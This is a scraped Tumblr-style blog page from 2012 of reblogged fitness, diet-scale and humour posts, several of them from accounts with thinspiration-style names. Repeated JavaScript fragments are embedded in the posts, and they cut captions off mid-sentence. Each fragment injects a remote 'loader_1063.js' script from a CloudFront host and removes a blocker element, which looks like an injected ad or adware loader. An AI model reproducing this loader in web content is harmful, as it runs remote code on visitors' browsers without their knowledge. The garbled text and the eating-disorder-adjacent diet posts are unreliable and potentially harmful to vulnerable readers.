Thursday, May 3, 2012
collegecaseywins: fitnessfoodmotivation: step out of that comfort zone! holyshitholyshitholyshit I LOVE THIS. A lot. -1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});}; // ]]]]>]]>

collegecaseywins:

fitnessfoodmotivation:

step out of that comfort zone!

holyshitholyshitholyshit

I LOVE THIS. A lot.

Posted at 5:16 AM 234 notes Reblogged from medrileigh
Tuesday, April 24, 2012
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(Source: afrolez)

Posted at 1:21 PM 447 notes Reblogged from get-healthy-feel-awesome
Friday, April 20, 2012
if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});}; // ]]]]>]]>

(Source: lornajaneactive)

Posted at 1:44 PM 2,178 notes Reblogged from fit-and-healthy-for-tomorrow
Thursday, April 19, 2012
daavigod: brosninja: katchin05: pleatedjeans: awkward merit badges I read my order over like 10 times in my head and still think I do it wrong. 15/16 eh? if i were a woman, i’d have my Eagle Scout (or whatever the girl scout equivalent is) in Awkward Welp…15/16 for me too. LMFAO. Dah well… -1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});}; // ]]]]>]]>

daavigod:

brosninja:

katchin05:

pleatedjeans:

awkward merit badges

I read my order over like 10 times in my head and still think I do it wrong.

15/16 eh? if i were a woman, i’d have my Eagle Scout (or whatever the girl scout equivalent is) in Awkward

Welp…15/16 for me too. LMFAO. Dah well…

Posted at 4:25 AM 35,930 notes Reblogged from whogivesaf
Tuesday, April 17, 2012
Live by this one -1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});}; // ]]]]>]]>

Live by this one

(Source: eeoo)

Posted at 4:20 PM 19,184 notes Reblogged from coffee-and-control
if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});}; // ]]]]>]]>

Posted at 4:18 PM 8,780 notes Reblogged from coffee-and-control
Wednesday, April 11, 2012
girlgrowingsmall: Forever reblog portion control info. -1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});}; // ]]]]>]]>

girlgrowingsmall:

Forever reblog portion control info.

(Source: myfitness-app)

Posted at 9:59 PM 1,793 notes Reblogged from get-thinspiration
Monday, February 27, 2012
coffee-and-control: balancefully: Using the Hunger & Fullness scale helps you to eat intuitively, and to become more in tune with your body’s needs. I found this simplistic and understandable hunger scale which I thought would suit me very well, so I re-designed the hunger scale according to my preferences. Maybe it can help you too, to become more in balance with your body! (click on the image for large resolution) I reaally like this. 

coffee-and-control:

balancefully:

Using the Hunger & Fullness scale helps you to eat intuitively, and to become more in tune with your body’s needs. I found this simplistic and understandable hunger scale which I thought would suit me very well, so I re-designed the hunger scale according to my preferences. Maybe it can help you too, to become more in balance with your body! (click on the image for large resolution)

I reaally like this. 

Posted at 6:52 PM 3,833 notes Reblogged from coffee-and-control
Friday, February 17, 2012

somedayistodayy:

Alton Brown’s gonna tell you how to diet.

Posted at 11:36 PM 3,187 notes Reblogged from committobefit2

(Source: time-for-change-from-now)

Posted at 12:48 PM 1,324 notes Reblogged from coffee-and-control